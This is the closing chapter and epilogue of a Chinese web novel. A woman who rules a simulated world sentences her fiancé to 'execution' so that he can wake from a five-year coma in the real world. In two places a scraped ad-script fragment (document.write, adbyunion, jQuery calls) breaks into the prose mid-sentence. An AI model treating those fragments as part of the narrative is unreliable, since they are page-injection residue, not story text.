男医生非常无奈地说，“你指的是思维提取再返回么?可是将他的记忆传送到另一个被创造的世界啊，连我们也不知道去那里会发生什么。别的不说，记忆到底是什么形态我们都把握不了啊。” 她并不认输，“可是你们那个结果是一个人，如果你们送两个人过去呢？让一个健康状态下的人去帮助另一个人回来。” 男医生似乎被这个构想吓到了，“你的意思是你也想跟着去?你知道什么是自身难保么？首先你根本不知道那里有什么，再者你不知道自己能不能找到人，最后回来的方法只是存在于理论上的。这样你也愿意去?” 半晌的沉默。就在叶明冉觉得他们是不是已经走了的时候，他才听到她说，“我愿意，他是我唯一的亲人了。” 太不值得了，叶明冉漠然地想，却觉得有什么冰冷的东西顺着自己的脸淌了下去。 “他……他该不是有意识的吧？！”医生惊喜地说道。 “我们的话被他听去了呢，这样可不行。你先把他的记忆提成备份交给我吧，然后洗去他的记忆。我觉得按照他的个性，可能会躲着我一辈子让我放弃的。” 叶明冉想，我到底听到了什么让她觉得我会躲着她一辈子呢。 记忆回到了几分钟前，叶明冉还在半睡半醒的时候医生们的议论，“理论上，健康人是可以有一条’通道‘确保回来的，因为他们本来就可以与现实生活有接点。可是只有意识存在，甚至存在与否都未知的人不行。” “所以，我要做的，是为他找到一条回来的路么？”叶明冉听见她问到。 “吱呀”一声，仿佛是记忆的门扉关闭的声音让叶明冉回过神来。 继而他发现那是外面的人用强硬的方式试图推开这条最后的屏障。 他们不但想用智慧破解，同时不放弃利用蛮力。 “那你……这些年……都在做什么……”叶明冉笨拙地问道，知道了过去的一切之后他对于过去反而无从开口，只得问一些两个人没有经历的事情。 “没有做什么。”她说，“我只是熟悉了这个世界，知道了这里的存在，然后决定了入主这个最高统治者所在的房间，这样便可以肆意找寻我想要的东西……和你了。” 叶明冉却没有被她的轻描淡写给骗过。从空白到进入最高统治集团并且成为统治者，而且这一切都做得不为人知。 “这一切，都是为了我么？”叶明冉用颤抖的声音问道。 她却用一种“你这是明知故问”的眼神看着叶明冉，居然带着一丝骄傲。 “可我……”叶明冉看到她把一根手指放在了嘴角上，做了一个噤声的手势。 你不要说了，你想说的一切我都知道。 叶明冉觉得嗓子有点发干，“那你找到了，回去的办法了么？” “第一道密钥解开了！”门口传来一阵欢呼的声音。 “我找到了。”她露出一丝笑容，“那个通道藏在国民记忆库里，所以我干脆把你安排到了那里，让你熟悉那里的构成， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你将戒指里面的密钥拿去提取记忆的时候，其实也在其中埋下了一条通道，当你进入记忆库的时候，它会引导你随着你记忆的方向，回到最初的原点。” 叶明冉露出心里一沉，“可是，国民记忆库没有了。” 她的笑容凝固在脸上，“你说什么？” 叶明冉想起了赫塞最后的告别，“没有了，特别实验室里面有个叫赫塞的实验员，是他帮我取回的记忆，也是他把记忆库毁了，用的是缓冲剂里面的提取物。” 她露出一丝苦笑，“早就和他们说过了这个配方存在隐患，可是偏偏他们主张通过严格控制供给量就可以解决问题。” 两人之间飘荡着一股沉默的氛围。 “第二道密钥也解开了！只用了一半时间！”门外的庆贺的声音如此明显，让整个房间都笼罩一层阴云。 “其实……还有另一条通道。”叶明冉抬起头，看见了她脸上的笑意已经消失地无影无踪。 叶明冉想到那个男医生话，陪同者理论上是可以回去的。 还好你可以回去。叶明冉心里舒了一口气，同时有了解脱感。 “叶明冉，你知道如果被判反人类罪，极刑是怎么执行么？”她忽然问了一句摸不着头脑的话。 极刑是最高统治者主导的试验。叶明冉这才想起，他还没有来得及问她为什么要主导这样的实验，这时候这个问题只让叶明冉心中警钟大作。 似乎有又什么超出他控制的事情要发生了。 “极刑就是把这个人的存在从世界上抹去，你觉得他们可能是去了哪里了呢？”她从椅子上站了起来，叶明冉不得不微微抬起头才能仰视她了。“我认为，他们是去了另一个世界的——我们原本的世界。” 不过我只是猜想，直到前几年他们抓到一个机械师，可能是外面那个组织的人吧，他被判反人类罪前居然主动要求参与实验。 “特别实验室还是第一次看到这样的例子，一般人听到极刑要么惊慌失措要么安然赴死。就跑来和我说了。”她回忆道，“他还真的完善了关于通道的理论，最后行刑时他几乎是兴高采烈的，只是请求我们照顾他的弟弟。不过，这些都不是重点。重点是，他说他要是成功了，会给我们发来讯息。他说他在弟弟身上留下了一个重要的财富，而钥匙只在他自己的手上，如果他弟弟能够开启这个宝藏，那就是他存活在另一个世界的记号。” 叶明冉倒抽了一口冷气，少年一瞬间“进化”的样子浮现在他的脑海里面，难道那就是—— “除了肤色，他们长得挺像。不愧是兄弟。”她感叹道，果然她也知道了。 机械师成功了，这就意味着—— “你知道么，其实判决和行刑的地方都是在这里。”她说。 叶明冉敏锐地把握到了她未尽的话，“我是不会同意这种荒唐的主意的，你们这些人，一个一个的……” “叶明冉，你应该明白，是否被判刑，这种事情并不是由被判刑者自己所能决定的。”她轻轻地叹了一口气。 “警告，密钥被破解。开门倒计时20s。”电子音突兀地差劲插了进来。 一门之外，叶明冉隐约听到了一阵欢呼声。 “他们——”叶明冉的话被她粗暴地打断了，这是叶明冉印象里，她第一次没有听他把话说完。 无论是在原来的世界，还是现在的世界里—— “我以巨蛋最高统治者的身份，宣布CI48865479号叶明冉，反人类罪成立。” 32. 结局尾声 “砰”的一声，那扇门被粗暴地撞开了。 “你们还是乖乖接受现……”是boss的声音，随即他愣住了，叶明冉不用回头，也知道是因为他看见了坐在最高统治者位置上面的是谁，也听到了她刚才宣判的话语。 “极刑，即刻执行。”她赶在所有人反应过来的时候，已经说完了宣判的话语。 叶明冉随即觉得周围好像刮起了一阵让人胆战心惊的飓风，他看到自己的头发扬起，那强风仿佛要把他卷成碎片。 他整个人好像漂浮了起来，他以为是什么东西启动了才是这样的，直到他向着周围看了一眼，发现黑压压的一群人都是站在地面上，只有他一个人好像是浮在空中的。 boss惊愕的眼神看着他原来站的地方，而他原来站的地方被一团烈火所取代了，让仿佛看到自己被那烈火包裹着炙烤的模样，嗅到了一股油脂燃烧的腥臭味。 叶明冉猛然发现自己好像是处于了一个灵魂出窍的状态，而周围的人都看不见他。 他浮在空中，只觉得自己的存在日渐稀薄——和他被从国民记忆库里面弹出来时的虚空感一模一样。 他只捕捉到了一个目光，是她隔着虚空在看自己。 叶明冉看着自己的“身体”被烧成焦炭，一片嘈杂的人声他充耳不闻。 两个人隔着一片烈火对视，仿佛一个在此岸，一个在彼岸。 “你不属于这个世界。所以，回去吧——把你的一切的关于痛苦的记忆留在这里。” 她呓语一般的声音如同魔咒一样，叶明冉真的觉得自己记忆里面关于这个世界的一切都在慢慢变淡。 在D区的日子，弯镰刀，红头发的卖掺水啤酒的酒吧老板；猎犬，鹰钩鼻的检察官，腼腆地笑着黑皮肤少年，金发少年坐在钢琴前的身影。 还有，眼前的少女。 都渐渐地模糊了起来。 “本想和你一起回去，可我也许回不去了。”这是叶明冉听到她说的最后一句话。 尾声 “这次这个志愿者也太厉害了吧，已经让4个人成功地醒过来了？”国家研究中心，一个检测数据的实验员到了换班时间，对着和他交接的人说道。 “醒过来怎么样，还不是什么都不记得了？”交接的是个比他更加年轻的小姑娘。 “可是，她本来想要找的那个人一直没有醒过来。”一个严厉的声音忽然插了进来，吓得两个小实验员立刻缩到了一边。 “主……主任，你不是去吃饭了么？”他结结巴巴地说道。 “志愿者现在的脑电波数据很不稳定，你们看不出来么？”被称为“主任”的其实就是那个主治的男医生，“早就说了这个实验一切都是为止，而志愿者本身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也是存在危险的，万一通道……” “主任！那个一直处在昏迷状态的病人刚才好像心跳频率提高了！”小姑娘估计才当实验员三个月，对于一切还是一惊一乍的态度。 “说过多少次了，高等实验室内不许喧哗。”主任责备道，但是也立刻跑过去看。 毕竟，心率或者呼吸频率改变是情况有变的重要信号。 自从那次车祸的受伤者里面的一个女孩子申请通过未通过临床验证的治疗方式去唤醒她处于植物状态的未婚夫，医生就被从医院调到了国家研究中心。 那个女孩进去已经五年了，五年内有10个人被陆续唤醒了，包括前段时间一个机械领域的院士。只是当初的实验目标一直没有任何反应。 主任半小跑地向着“初号实验品”的床跑去，却看到小实验员呆呆地站在一米多远的地方，捂着嘴看着床上发呆。 主任忽然心里有种不好的预感，他忽然想起了志愿者进去之前和他说过的话。 “要是五年还没有回来，那就搞不好再也不会回来了。” “让开，不要碍事。”一把推开两个杵在那里的，主任如临大敌地冲到了那张五年一直没有任何变化的病床前。 然后，他同样愣在了一边。 床上的青年枕头上湿了一片，他缓缓睁开了眼睛。 -END-